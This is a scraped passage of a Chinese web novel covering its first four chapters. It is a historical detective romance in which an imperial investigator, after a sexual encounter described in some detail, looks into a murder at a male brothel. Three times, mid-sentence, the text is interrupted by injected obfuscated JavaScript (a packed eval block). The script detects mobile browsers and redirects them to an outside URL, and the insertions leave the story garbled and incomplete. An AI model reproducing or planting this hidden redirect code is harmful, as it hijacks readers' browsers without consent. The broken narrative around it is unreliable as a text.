《觅知记[探案]》 1. 零零壹 七月初八,夜,湿热难耐。 树上鸣蝉滋儿哇滋儿哇地扯着嗓子喊,在这寂静的夜里听着分外惹人烦。 胭脂巷一处小院的卧房内,气氛缠绵粘稠,喘息声此起彼伏,热度不啻于当下的气温。 微弱的油灯火苗在暗夜里微微发着颤,映着墙面上两个彼此交叠纠缠的影子。 被暗光涂得如同蜜蜡一般的皮肤上缀满了大颗大颗的汗珠,犹如荷叶上滚动的露水。 “露水”沿着后背沟壑起伏的轮廓缓缓下落,被突地伸来的一只修长白皙的手尽数抹去。 那只手用力抓着被汗水染得发亮的脊背,抓得骨节发白,留下几条鲜明的抓痕。 大颗的汗珠从坚毅的下巴上垂落,滴进了下方一个深深凹进去的锁骨窝。 锁骨窝中本就漾满了汗,此刻更像是一汪清泉,随着主人的气喘而微微起伏,反着光,在昏暗的夜光里闪闪发亮。 这汗涔涔的喉结右侧,有一块褐色胎记,约莫小指甲盖那么大小,像一朵四叶草,眼下被浸在汗水中,越发娇艳多姿。 煞是好看。 低.吟声陡然拔高,随即又像是在最高点断了线,瞬间归于无声,只余另一人过分明显的喘息。 片刻后,一切渐渐归于平静,位于上位的男人下了床,拎起丢在床边的黑色中衣套上,遮住了后背几道鲜艳的抓痕。 额头仍有汗水流下,划过右边眉梢一粒芝麻大的黑痣,再被他抬手抹掉。 此人看起来面容不过二十出头,发色却已灰白,被网巾整整齐齐地收着束起,丝毫没有因为方才的激情而凌乱半分。 早生华发于他英俊的面容完全无损,甚至还增添了一份桀骜的气质。 男人垂眸往床铺上瞥了一眼,声音低哑道:“需要我带你去清理一下吗?” 今日他情绪不佳,把人折腾得有些狠,即便是露水情缘,也不好提上裤子就不管不问。 枕上散落着瀑布般浓密的长发,墨一般漆黑,反衬出这长发的主人一张白皙赤红的脸,和过分瘦削的玲珑下巴。 他长眉入鬓,睫毛密而长,本不算是浓俨的长相,但此刻被汗液浸润着,又被暗光涂了一层妆,此刻看去眉黛唇红,艳若桃李,有一种摄人心魄的美。 激情退却后,羞耻感顿起,秦觅用尽最后一点力气拉过被丢在一旁的薄衫,盖住光.裸的身体。 他心脏跳得又快又乱,脑子也像是塞了一团棉花,双目微合,低声呢喃:“不用了,小烽哥哥。” 听到这声称呼,床边已经穿戴整齐的慕天知顿了一顿,面无表情地说:“你认错人了。” 秦觅置若罔闻地向床内侧过身去,留给对方一个瘦削的脊背,薄薄眼皮下眼珠轻轻一转,呓语般地说:“你还记得阿鲤吗?” 慕天知的目光沿着他瘦得蝴蝶骨轮廓明显的后背向下,在他隐在腰间薄衫下的玲珑曲线上略一停顿,最后滑至薄衫盖不住的修长双腿,依旧挂着汗液的喉结不自觉地上下滑动。 此人容貌过分秀丽,身体又是那样柔韧,可被自己任意弯折,回味方才种种,心头刚熄灭的火苗隐隐又有燎原之势。 “抱歉,我想你搞错了情况。”本就萍水相逢,对方把自己当成谁都无所谓,他无意解释太多,只追问了一句,“真不需要我帮忙?” 床上的人再无反应,但从极浅的气息声中能够判断,对方只是不想做声罢了。 这一出颠鸾倒凤实在是意料之外,现在恢复理智,两人都尴尬,慕天知不打算久留,低声说了句“告辞”,拿起桌上佩刀便大步离开,轻轻关上房门。 秦觅长长的睫毛颤了颤,眼睛微微睁开,听到外边明显传来从水井打水的声音,喉咙里闷住一声轻笑。 今夜的一切着实令人意外,他也没有想到自己竟会为了与对方见面做到这个地步。 但无论如何,于他而言,也算是求仁得仁。 只可惜,对方是真不记得自己了。 不知下次相见又是什么时候。 心脏还是跳得太凶,他从枕边摸出一个瓷白的药瓶,倒出一粒丸药吞下去。 外边院子很快恢复安静,心口也舒服了一些,秦觅才疲惫地扶着床沿坐起身,咬牙忍着身后不适,哆哆嗦嗦地拉过罩袍披上,一瘸一拐地往外走。 虽是人生头一遭,又自以为对此事并不陌生,如此折腾下来,这具不怎么硬朗的身体还是险些受不住。 方才有几刻,他几乎觉得快要死在对方身下。 那倒也是不错的。 没死成,又能继续活,好在自己是个郎中,能将就着照顾这条小命。 秦觅扶着墙走到厅房门口,拉开门一看,几大桶水齐齐整整摆在门口,方便他用,水瓢还贴心地放在了其中一个桶中。 他轻轻一笑,缓缓弯腰舀起一瓢水,从头上径直浇了下去。 曜京是大鑫的都城,全国最繁盛豪华的地方,又因为此地是天子脚下,满城都是金尊玉贵的人,被百姓文雅地称为“玉都”。 玉本应冬暖夏凉,可此时的玉都适逢酷暑,暑气一日重过一日,雨就是下不下来,空气中似乎凝结着肉眼看不到水滴,堵住了鼻孔和喉咙,潮湿憋闷得人喘不过气。 今儿算是良辰吉日,玉都里的南风馆新选出来的院首抱香公子夜间游街,外城胭脂巷附近一片人声鼎沸,百姓们在家闷着难受,都跑出来看看这院首的模样到底有多俊俏。 当然,也是顺手抢点轿旁花官们撒出来的赏钱。 可惜人太多,摩肩接踵、水泄不通,抱香公子的样子没瞧真切,赏钱也没抢到几个子儿,倒是个个挤了一身汗,薄薄的衣裳都被湿得透透的。 也不知道那高头大马上遍身绫罗的院首他热不热。 亥时初,这场纸醉金迷的盛事终于落幕,听说有富家老爷以白银三千两的价格买下了抱香公子的初夜,但那都是跟平头百姓们挨不着的事儿了。 繁华落尽,街上恢复了冷清,空余满地五颜六色的花瓣,被往来的脚步踩得零落成泥。 离开胭脂巷的那个小院,慕天知就这么踩着一地残花往内城走去。 天上闷雷声轰鸣不止,仿佛雷公不停在叩击天门,试图弄开个缺口,好让大雨落至人间。 弯弯的上弦月被掩在了一片模糊的云团里,几乎失去了光亮,街上乌漆嘛黑,只有北镇抚司的牌匾被门口灯笼映得醒目,却也好似被一团浓郁的水汽包裹着。 门口当值的卫兵见了慕天知,立刻抱拳行礼,齐声道:“镇抚使大人。” 他轻轻点头,跨入大门。 进了自己办公邸的院子,他脱掉外衣,打井水冲凉。 天气燥热难耐,井水也比平时热了些,并不能解暑,只能洗去身上汗液。 雷声依旧轰隆个不停,可是干打雷不下雨,实在令人更加焦躁。 慕天知换了身干净的中衣,躺在办公邸的榻上闭目养神。 不远处的窗户开着,可是一点风都没有,周围的空气仿佛凝固了一般,呼吸都觉得凝滞。 或许是酒意并未散尽,又或许是耗尽了精力,他还是迷迷糊糊地睡了过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427039|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是这一觉并不平静。 恍惚间,他又回到了那个废弃的工厂,眼前是那人得意疯狂的笑。 “慕天知,你以为你真的赢了吗?” “你怎么能确定,现在的结果,不是我的精心设计?” “游戏什么时候结束,由我说了算!” “你们每一个人,都要给我陪葬!” 周围所有的人都在向他发出警示: “慕支,快跑!” “不要管我们了!” “你快走吧!” 被那人挟持的实习警察并没有濒死的恐惧,泛白的脸反倒向他露出一抹浅笑:“快走吧慕支,不要再增加无谓的牺牲了。” 炸弹上红色的倒计时数秒一下一下跳动,随之响起的“滴滴”声就像是催命的符咒,刺激着慕天知的神经。 他看着周围曾经无数次生死与共的战友,无论如何都不可能抛下他们自己逃命! “轰!” 眼前火光炸裂,又似鲜血迸发,所有亲切的、憎恶的面孔在他眼前一并消失,慕天知冷不丁地打了个激灵,倏地醒了过来。 身上的汗又把中衣给湿透了。 窗外又一个炸雷响起,酷似梦中的爆炸,惊得他心弦在胸中犹自震颤,长鸣不止。 房中无人,慕天知干脆把湿透了的上衣脱掉,拉过一个坐墩,靠窗坐下,吹着陡然而起的狂风。 风夹杂着一丝凉意,入室抢劫般地从四敞大开的几扇窗冲进来,卷起了桌上摊开的书页。 在雷声、书页声和外边树木被吹得颠三倒四的哗哗声中,慕天知闭上眼,缓缓呼出一口憋在胸口里的郁结之气。 在现世那场爆炸之后,他就穿越到了这大鑫朝,成了景国公当时只有十四岁的长子慕烽。 从下人口中得知,原身刚从一场绑架案中逃出生天,却因头部重伤昏迷了半年,他便假借这个缘由声称自己失忆,以对方的身份生活了下来。 既然同姓慕,他便找机会请求父母,给自己改成在现世用的名字“天知”。 心疼他经过那样的磨难,父母对他百依百顺,改名字正好去去晦气,便依了他。 不久前床榻上那人一声“小烽哥哥”,慕天知疑心他曾与原身有过渊源。 自己没有原身的记忆,也不想跟春风一度、连姓名都不知晓的人有什么牵扯,便没有追问。 现在酒意消退,想到这孟浪之举,慕天知多少有些后悔。 半生谨慎,从未有行差踏错,唯一一次破例竟是原身旧识,实在尴尬。 希望与那人再不相见。 雷声打了半天,狂风也起了有一会儿,突地有雨滴被吹了进来,一滴两滴落在慕天知脸上,终于,一场痛快淋漓的大雨便落了下来。 天地间被一片白茫茫的雨雾填满,多日来的闷热被一扫而空,多少原本睡不着的百姓,在这凉意和雨声中安然入睡。 狂风骤雨四处肆虐,满城街道空空荡荡,雨幕之下,在这玉都一角的某处院子里,一个男人了无生气地趴在地面上。 头顶炸雷响成一片,能照亮半边天空的闪电,也时不时照亮他被雨水打湿的身体。 他那双看起来养尊处优、白皙修长的手,此刻已经沾满了泥土,泛着骇人的青白。 在他身旁,有一双泥泞的、穿着湿透了的破靴子的脚走过来,脚的主人弯下腰,滴着水的手抓住这人后衣领,使劲一拽—— “嗞拉”一声,这件以价值不菲的云月罗缝制的衣袍被撕成了两半,露出了尸身光裸的后背。 2. 零零贰 “觅哥,我上好药了,雨下这么大,你过来陪我聊会儿天再走吧。”一个气若游丝的少年声音道。 东篱院气势恢宏的小楼里,秦觅站在一间房的窗前,面无表情地看着外边这场磅礴大雨。 夜幕与雨幕交织,给天地万物蒙上一层厚实的纱帘,什么都看不真切。 幽暗烛光中,他面色苍白得厉害,配上空洞的眼神,仿佛一只游荡到此的艳鬼。 听到这话,他像是被画手点了睛的人像,立刻有了活人的气息,脸上堆起和蔼可亲的笑容,转过身去温声道:“好呀,还有哪儿不舒服,尽管告诉我,心里有什么烦闷的,说出来也能好受些。” 房间宽敞,装饰得俨然富贵人家,锦绣堆一般的床帐内,俊美的少年一脸疲惫地靠在床头,正用帕子擦去指尖残留的药膏。 他身上的衣衫是名贵的云月罗缝制而成,被烛光映得莹莹发亮,宛若月亮的银辉。 织物轻薄通透,透而不露,最适合酷暑时穿着。 此刻衣领歪歪斜斜地敞着,露出了修长脖颈上多处青紫和红痕,像是遭遇过什么凌虐。 少年嘟着嘴撒娇:“我虽是做了充足的准备,却不知道这第一次是这么难捱,那贾老爷平日里人模狗样,上了床却跟个疯子似地折腾人,只收三千两,真是亏得厉害!” “不知道后边这伤多久才能好,现在动一动都疼!”他把细白的小臂伸出来,白皙的皮肤上布满了青紫的指印,“你看,手都被他掐成这样了!” 秦觅从身旁的药箱拿出一小瓶药膏,用指尖蘸了,小心地在那青紫上涂抹:“这几日静养,好生休息,吃些粗茶淡饭,用上我调制的药油,后边的伤很快就能复元,不必担心。” “那就好!我才当上院首,可不想还没来得及享福就死!”少年眼睛骨碌一转,亲亲热热地凑近他,小声说,“不过,贾老爷倒是大方得很,完事之后他又给了我五百两银票,让我不要告诉崔妈妈。他还哄我、安慰我,倒也算温柔。你说,他能指望得上吗……” 秦觅抿唇轻笑:“恩客哪有什么真性情,切勿对他抱希望。” “唉,辛辛苦苦熬成院首,末了谁也指望不上,像我们这样的贱命,真是太难了!” 伴随着低低的交谈声,天色渐渐转亮,矮桌上的蜡烛燃得剩下小半截,周身堆积了不少树疙瘩一般的蜡油,微弱火苗被“噗”地一下吹灭。 秦觅看着床上疲劳得沾枕头便着的少年,轻手轻脚帮他盖上薄被,自己扶着依旧发酸的腰站起来,行至窗前。 暴雨已经停了,只有屋檐上还滴滴答答地向下滴着水,雨后的空气十分清新,视野也很清晰。 一眼便看见了院中那棵树下摆放的“东西”,他那双黑白分明的眸子瞳孔骤然紧缩! “世子!顺天府来报,外城胭脂巷出了命案,请咱们派人过去看看!” 两名容貌相像的年轻男子身着黑色都衍卫公服,按着腰间佩刀,一阵风似地冲进了北镇抚司后院办公邸。 慕天知已经换好了公服曳撒,正坐在书桌前书写公文,网巾把他一头灰发束得分毫不乱,一身黑色更衬得他面容桀骜英俊,不怒自威。 他闻声抬头,给了为首的男子一个眼神,那人立刻乖乖站定,老老实实地喊了一声“大人”。 十年前慕天知生逢大难,景国公府遣散了大批下人,重新给劫后余生的世子选伴读,选中了这哥俩。 他们的父亲是从九品工部司匠,家世清白,十年前俩人进景国公府后就一直跟在他身边,同他一起念书习武,情同兄弟。 哥哥窦乾,二十四岁,性子沉稳木讷;弟弟窦坤,二十二岁,活泼贫嘴,就是方才唤他世子的那位。 一听是自己昨夜曾去过的胭脂巷,慕天知心头一凛:“什么命案?” 顺天府掌管曜京刑名钱谷,京城人若要报官先找他们,若情况严重,顺天府尹便会上报北镇抚司。 人人都知道慕指挥使最爱亲自办案,有案子他真上,顺天府尹乐得有人揽事儿,命案自然拱手送到他的案前。 窦乾双手抱拳行礼,回道:“禀大人,一处叫东篱院的南风馆里,有一名小倌被杀,尸身被放置于树下,不着寸缕,被摆放成婴儿睡卧状,身上只盖了一张白布单子,还有,还有……” 他为难地顿了顿,似乎一言难尽,旁边窦坤快人快语地接口道:“魄门里被塞满了碎银珠宝!(注)” “死者是谁?抱香公子?”慕天知想起昨夜此人华服簪花的游街盛况,也知道他初夜被富商拍下,这种所谓“恩客”拿小倌并不当人,把人折腾至死的事情不在少数。 窦乾摇摇头:“不是,死者名叫傲霜,几年前倒也被选做过院首。” 慕天知放下笔,站起身:“去顺天府看看。” 雨过天晴后的玉都,天色一片碧蓝,日头没了云彩的遮挡,亮得肆无忌惮,在每一处积水的洼地里投下自己亮闪闪的倒影,才凉快了半夜的天气几乎很快就重新热了起来。 马蹄飞快地敲击地面,三匹马载着三个矫健的人影穿街走巷,很快抵达了顺天府门口。 伴随着一声“北镇抚司镇抚使慕大人到”,慕天知按着腰间佩刀,大步流星地往内堂走去。 窦乾窦坤兄弟俩面色威严地跟在他身后,一路所有站岗的卫兵都向他们低头行礼。 行至半路,顺天府尹罗腾拎着官服袍角一溜小跑地迎了上来,拱手道:“慕老弟!” 他一个正三品的府尹没必要亲自迎接从四品的镇抚使,但官阶哪有人情世故重要?亲亲热热地称呼一声“老弟”小不了他,镇抚使大人可是陛下面前的红人,又是景国公世子,好好巴结笼络,总是没错的。 慕天知不卑不亢地拱手回礼:“罗大人。” 出身皇亲贵胄,他对官场的一切都心照不宣,哪怕骨中清正耿直,心中也不乏世故圆滑,上上下下的关系都处理得不错。 手里掌控着诏狱,又如此长袖善舞,朝中人表面夸他少年老成,私下忌惮他高深莫测,无不对他礼让三分。 罗腾深知他的脾气,没有废话,直接将他带去了仵作值房。 推官主动介绍道:“眼下死者只有一人,就是东篱院的傲霜,根据仵作验尸的初步结果,判定他是被人勒死后被带至后院树下,脱光了衣服,摆放成婴儿酣睡状,再用白布盖好。死亡时间应该在寅时初到寅时末这一个时辰之间,因为东篱院有龟公称,寅时初还听他抱怨天气太热睡不着,而寅时末天光已亮,他的尸体就已经被人发现了。” “凌晨大雨约莫从丑时末开始下,到寅时末方才止歇,现场岂不是被冲刷得差不多?”慕天知问道。 推官无奈苦笑:“大人明鉴,被撕毁的衣服就扔在一边,也被雨水冲得干干净净,脚印倒是很多,都是东篱院的人挤过去看死尸留下的。” “无妨,抛尸地并非案发现场,既然能证明下雨之后这个傲霜还活着,那他断不可能在大雨磅礴的半夜三更随人外出,案发地一定在室内,很大可能在他自己的房间。”慕天知沉吟道,“有否将东篱院上下搜查个清楚?” 推官连忙道:“大人想必听说过东篱院的名头,它是曜京最大的南风馆之一,昨夜游街的小倌院首正是出自它门下,当晚留宿在那里的人不少,牵连甚广,是以差役还在一一排查。” 慕天知轻轻点头,并未多说。 进了仵作值房,就见一具男尸身上盖着白布,躺在正中的长案上,一名仵作正仔细从他的发髻开始检查。 见上官们进来,仵作连忙行礼,刚拱了个手,就被慕天知抬手制止。 他将盖在死者身上的白布掀起一半,看着尸身的模样。 按时间推算,死者此刻还处在尸僵状态,仵作还没有将他摊平,目前依旧是推官口中所称的“婴儿酣睡状”。 确切地说,是侧身而卧,双手合十枕在脸颊一侧,双腿蜷缩团紧至胸前,双目紧闭,面部青紫微肿。 搭眼看过去,除了脖颈处的勒痕,的确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427040|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再无其他外伤。 颈后有绳索交叉的痕迹,显然是被人直接勒死的。 “手臂上没有防御性伤痕,应当没有打斗,一击致命,颜面青紫肿胀,眼中有出血红点,死因应是窒息。不是凶手与他熟稔,就是出手偷袭。”仵作主动汇报,“目前看起来没有其他致命伤,也无中毒迹象,还需要将尸身多停放些时间,看看是否有别的伤痕显现。” “口中无异物,全身都被雨水冲刷得很干净,干净得像是特意等尸体被冲过之后,才将白布盖上。” “另外,便是身后魄门里被塞了数十两碎银,还有一些宝石和首饰,已经尽数取出。”仵作指了指身旁小几上摆着的托盘,“属下检查过,死者最近几天没有行房的痕迹。” 此案最惊悚的莫过于死者魄门中被塞银子这事,联想到这位傲霜所从事的行当,一屋子人心中各有揣测,谁也没吭声。 古人死后会用一些贵重物品堵住身上出口,自然各有用意,但凶手只堵住此处,显然并非出自善意。 慕天知问道:“这些银子和首饰,是生前还是死后放进去的?” “回大人,尸身并无受辱痕迹,再依魄门内壁被划伤的程度来看,应当是死后魄门松弛才塞进去的。”仵作顿了顿,补充道,“凶手甚至为死者清理了失禁的污物。” 府尹罗腾问道:“这么体贴,难不成是熟人作案?” “不排除这个可能。”只得一点线索,慕天知不想妄下论断,但也能推测出,凶手至少跟死者有一点渊源,于是问身边的推官,“这傲霜平素为人如何?可有仇家?” 推官连忙道:“目前的调查结果是他为人内敛好静,性子懦弱,向来与人为善,不曾与人结仇。眼下正在查他是否与人有情感纠葛。” 慕天知点头道:“北镇抚司暂不接手,仍由顺天府继续追查,若有进展,即刻禀报于我便是。” “遵命!”推官行礼道。 慕天知又问:“东篱院那些涉案的人呢?” “人数太多,为免引起骚乱,暂时在原地拘着,等问完话排除嫌疑才放人。” 慕天知手搭在腰间佩刀上,对罗腾道:“大人,您忙您的,我去东篱院了解一下情况。” 昨夜才来过胭脂巷附近,转眼不过半天的工夫,原本莺歌燕语、离着八丈远就能闻见脂粉味儿的地方此刻压抑至极,仿佛一个被抽走了精气神的美人儿,只剩下一具躯壳。 此处是曜京最著名的烟花之地,几条胡同巷子里聚集着各种青楼瓦肆南风馆,纵然姑娘小倌们的作息与常人不同,时间已近中午,也该热闹起来了,但现在那些华丽楼阁全都关着门,只有一些龟公老鸨或者下人从门缝、窗户缝往外望着,看见北镇抚司的大人们骑着高头大马过来,全都赶紧把头缩了回去。 东篱院,此处风头最盛的南风馆之一,规模很大,从路上便看能看到院内几栋富丽堂皇的小楼,迎客的头脸装扮得十分清雅,门前一个小院,经过刻意营造出来的小路和假山,再一转弯便豁然开朗。 入目是一大片疏朗的园子,成荫的绿树被凌晨的暴雨蹂躏过,虽有些枝干跌落,但树叶被彻底清洗过,愈发翠绿欲滴。 只可惜了那片花圃,花朵都被打落在地,只能化作春泥了。 这么美的一片地方,此刻被顺天府的差役把守着,曾经安放死者尸身之处更是用白布条四四方方地圈了出来,很是煞风景。 见北镇抚司的大人驾到,立刻有一名差役上前行礼,听命带人往一处小楼方向走。 “昨夜留宿的外人不少,有一些身份不低,不能放又不能关,只能暂时请他们等在这处会客厅。”差役介绍道。 慕天知观察着这几栋楼和抛尸地的位置,行到一栋楼外,不经意地往敞开的窗户里看去,就跟恰好探头出来的秦觅看了个眼对眼。 正午时分的阳光下,那人懒懒地倚在窗边,向他抛了一个不是很正经的微笑。 那抹好颜色,倒是与这雕梁画栋相得益彰。 3. 零零叁 秦觅并不意外会在这里见到慕天知。 曜京里人人皆知,北镇抚司镇抚使除了办皇帝的官差,闲来最爱亲自查案,眼下出了命案,镇抚使八成会亲临案发地。 昨夜还在惆怅不知何时能再见,转过天来便得当所愿,看来命运偶尔也会垂青自己。 只是这次相见要以人命为代价,实在非他所料,也非他所愿。 不过再见到慕天知,他脸上的笑容是发自内心的。 欣喜有之,促狭有之,想看这位把自己忘了的人,再见到一夜风流的对象,会是如何反应。 笑容很正经,只是看的那个人心里不正经罢了。 隔着一扇窗,慕天知被他的笑容闪了眼,视线下移,落在此人喉结右侧的四叶草型胎记上,旁边还有一些隐隐约约的红痕,那正是自己的杰作。 昨晚一些如胶似漆、缠绵悱恻的画面轰然闯入脑海,令他当即垂眸,不经意地喉结上下一晃。 记得对方容貌极佳,还以为是酒醉外加灯光昏暗的加成,现在青天白日一打量,更觉得他俊秀出众—— 床榻上披头散发的模样端的是风情万种,现在头发整整齐齐地挽了发髻,被月白色的发带束着,露出修长的脖颈,显得清雅大方;一双不算特别标准的桃花眼,时而魅惑时而多情,现下又多了些少年般的清纯无辜,略显苍白的面色又给人一种我见犹怜的病弱感,令人过目难忘。 人的确是瘦得厉害,仿佛除了脸颊和屁股,身上再没有长肉的地方,穿着件月白色的长袍,腰间仅有一条布绳松垮地系着,束出了一把未及小臂宽的窄腰。 昨夜毫无阻隔时,这腰只需单手便能牢牢掐住,固定在身前…… 不可再想。 “此人是何身份?”慕天知偏头问带路的差役。 “禀大人,小生姓秦,单名一个觅字。”不等差役答话,秦觅行礼道,“觅是寻觅的觅,表字予得,时年二十有二,江平广川县人士,康淳十五年中秀才,是以差大哥对小生以礼相待。” 一算年纪,慕天知微微挑眉:“十二岁就中了秀才?堪称神童。” 秦觅闻言轻笑:“大人过誉了。” “既是如此,为何没有继续考取功名,而是流连在这烟花之地?”慕天知面色严厉。 秦觅坦然道:“家中不幸,父母早亡,小生无心向学,便拜师学医,做了游方郎中,去年在这胭脂巷落脚,多与此地小倌打交道,与他们相熟。昨夜抱香公子多有不适,便邀请小生来此诊病,被大雨绊住了脚,便没能及时返回。” 昨夜缠绵时,慕天知已闻得到他身上与家中都有浓重药味儿,现在隔着一扇窗,哪怕此人身上已经被这风月地熏得一身兰花香,依稀透出一些药香来。 这话应当不假。 既是郎中,来这烟花之地给小倌看病,便没什么不合理之处。 昨夜欢愉,慕天知已将此人手脚摸过一个遍,确认他筋肉松散,并无习武经验,况且自己离开时,他甚至无力起来冲洗,更不可能有力气杀人。 不必多问。 慕天知刚打算离开,又听秦觅道:“说起来,我应算是第一个发现死者的人。” 他沉默地端详着对方的神情,片刻后对差役道:“带他出来,我要单独问话。” 跟这个秦秀才春风一度,属实是鬼使神差。 上一世的爆炸案距今已经十年,慕天知虽不曾忘却,却也不会日日惦记,只是昨日巡逻至城西时,因着天干物燥,一家爆竹工坊突然发生爆炸,刹那间把他带回当日情境。 他勉强压住满心烦躁,亲自指挥潜火队灭火,不曾休息片刻,到了晚间,胭脂巷这边,抱香公子的游街又已经开始。 虽然早已安排人手协助顺天府看顾现场,但他不放心,又带着窦乾窦坤亲自到现场查看情况。 天气过于闷热,人流过于拥挤,藏在心底的意难平再次涌上心头,每一件都让他越发心烦意乱,见游街盛况已近尾声,便在附近寻了个酒馆,把自己灌了个酩酊大醉。 恍惚之时,秦觅便出现了,忘记两人说过什么,总之他被对方带去了家里,两人才有了那么一回事。 慕天知记得很清楚,是自己先动的嘴。 吻下去的时候对方不曾推拒,自然便水到渠成。 如果此前秦觅唤过他一声“小烽哥哥”,他绝不可能再继续,可惜知道的时候已经迟了,现在更不想再跟此人有任何牵扯。 谁知偏巧赶上了这么一桩透着诡异的谋杀案。 此人与自己原身有旧,又被卷进案子里,不仅不避嫌,还刻意提醒自己是他最先发现死者——十二岁就能中秀才的人,在历史上少见,多数有大才,如此聪明,会不知道最先发现死者的人会被列为凶嫌么? 他这般主动,到底有什么目的? 凉亭里,慕天知沉着脸,目光冷淡地看着面前这个略显虚弱的漂亮男子。 东篱院没有适合审讯的地方,此处勉强胜过那些雕梁画栋的小楼里充满暧昧气息的房间。 窦乾窦坤被他支到两丈外的地方守着,就算两人再耳聪目明,这个距离几乎也听不到他俩说话。 “你说大人会问他什么?”窦坤偷偷转头,看着凉亭里两个对峙的人,“那秀才看起来不怕咱们大人,居然还笑。” 窦乾抬手,兜着他的后脑把他的脑袋转向前方:“别瞎看。” “我这不是好奇么,你觉不觉得,大人和那秀才不像是第一次见面。”窦坤小声嘀咕,“总感觉他俩之间怪怪的,秀才也是个怪人,换了别人唯恐不能洗掉嫌疑,他却好像恨不能贴上来似的。” “怪里怪气”的秀才此刻正很有诚意地看着面前的慕天知,笑容满面地问:“大人不是要问话吗?” 慕天知鹰隼一般的眼睛盯着他:“你什么时候曾与我相识?以前我们是什么关系?!” 秦觅眼中笑意未减,却答非所问:“昨夜大人离去之后,我用大人打的水冲洗了身体,小憩了一会儿,约莫丑时正,东篱院便来了人,请我过去给抱香公子诊病。” “你如何认出我便是以前的慕烽?昨夜将我从酒馆带走,究竟是何用意?!” “昨夜抱香公子被贾老爷买下初夜,好一通折腾,身上添了不少伤,我来给他各处伤口上了伤药,正想离开之时,不料天降大雨,便只能留下来。这一点东篱院的龟公可以证明。” “你所提到的那个阿鲤,又是谁?!” “抱香公子年纪尚轻,饶是从小耳濡目染,但真正经历此事,内心仍是十分震撼,我虚长他几岁,便陪他聊了几句,安抚他的情绪,大人掌管北镇抚司,定知道心病生恶念,恶念害人命,下九流的行当里更容易滋生这些——” “秦秀才!”慕天知打断他的话,低声震慑,“回答我的问题!” 秦觅怔了怔,苦笑:“大人难道不关心案情?” “你既身在此案之中,我问你的情况,便是询问案情。”慕天知冷声道。 秦觅原本端坐在石凳上,胸口离着石桌尚有一拳之隔,此刻缓缓向前倾身,故弄玄虚般地压低声音:“大人是怕我缠着你么?” 慕天知没有作声,抿住一双薄唇,深邃眼眸不含任何情绪,隐隐透着些冷意和威胁。 秦觅目光柔和地与他对视了片刻,突然间开口: “慕烽,国舅爷景国公慕铮独子,十四岁那年遭遇事故,平安归来后改名慕天知,弱冠时得字重霄。” “逢变后,原本活泼爽朗的少年变得沉默稳重,并弃文从武,十六岁入都衍卫,荫官正五品千户,并未养尊处优只当闲差,而是身先士卒,凡事都肯豁出性命,屡立奇功,得到今上看重,短短八年便升任北镇抚司镇抚使。” “年纪轻轻却手段狠辣,别人问不出来的话,只有他能,别人破不了的案,只有他可以,又因他才二十四岁便满头灰发,人送诨名‘苍发少阎罗’。” 秦觅觑着慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“另一个名字,我没什么印象了,或许是太过困倦,自己嘟嘟囔囔说了什么都记不清——大人那般龙精虎猛,我到现在身上还疼。” “不过大人放心,我虽未继续进学,但也并未将礼义廉耻抛诸脑后,露水情缘不过各取所需,不足为外人道,大人的秘密,在我这里很安全。” 昨夜精力消耗太多,又没能睡得充足,现下一番虚情假意装腔作势,心脏陡然又开始活蹦乱跳。 秦觅表面不显,呼吸却有些不稳,放在腿上的右手紧紧勾缠住衣袍,用力得骨节发白,努力忍着不想表现出异样。 慕天知是习武之人,耳力极佳,饶是周围环境略显嘈杂,也听得出他的呼吸已经散乱。 但也只当他是没有休息好,毕竟自己借酒行凶,确实下手狠辣。 “身上疼就回家养着,给自己开几副药补一补,别出来四处闲逛,万一因为身子虚弱掉进坑里爬不起来,那便是无妄之灾了。”他按着腰间佩刀站起身,经过秦觅身边停步,压低声音道,“但你说的那些,本官一个字都不信!” 无凭无据,不便抓人,区区一个郎中也威胁不到自己,暂且罢了。 谁知这郎中突地抬手,三伏天里却明显冰凉的手指按住他左腕脉搏处,没等他挣脱便松开,仰头莞尔:“大人早生华发,皆因思虑过多,平日里也要注意身体才好。” “多谢忠告。”慕天知皮笑肉不笑地看了他一眼,离开凉亭,对着迎过来的顺天府差役道:“此人没有嫌疑,放他回家。” 差役连忙抱拳:“是!” “大人!” 慕天知回头,看秦觅站在凉亭台阶下,面色殷切地看着自己,不由地眉头微皱:“何事?” 秦觅负手而立,智珠在握般地说:“我常往来于此间南风馆,跟小倌们关系颇近,他们的想法没有人比我更清楚,我定能帮大人破案。” “北镇抚司不缺人手,秦秀才还是回去好好休养身体吧。”慕天知冷声道,转身大步离去。 4. 零零肆 东篱院已经被围成了个只能进不能出的铁桶,难得放自己这一只小虫飞出来,秦觅刚出来没几步,就被人一把拖进了另一处胡同。 原本就有些失律的心脏更是狠狠一哆嗦。 “秦大夫!”拉他进去的是个小龟公,名叫宋喜,来自隔壁竹影阁,少年往胡同外左右张望了一下,连忙压低声音问道,“顺天府查得怎么样了?凶手有眉目了吗?仇杀还是情杀?” 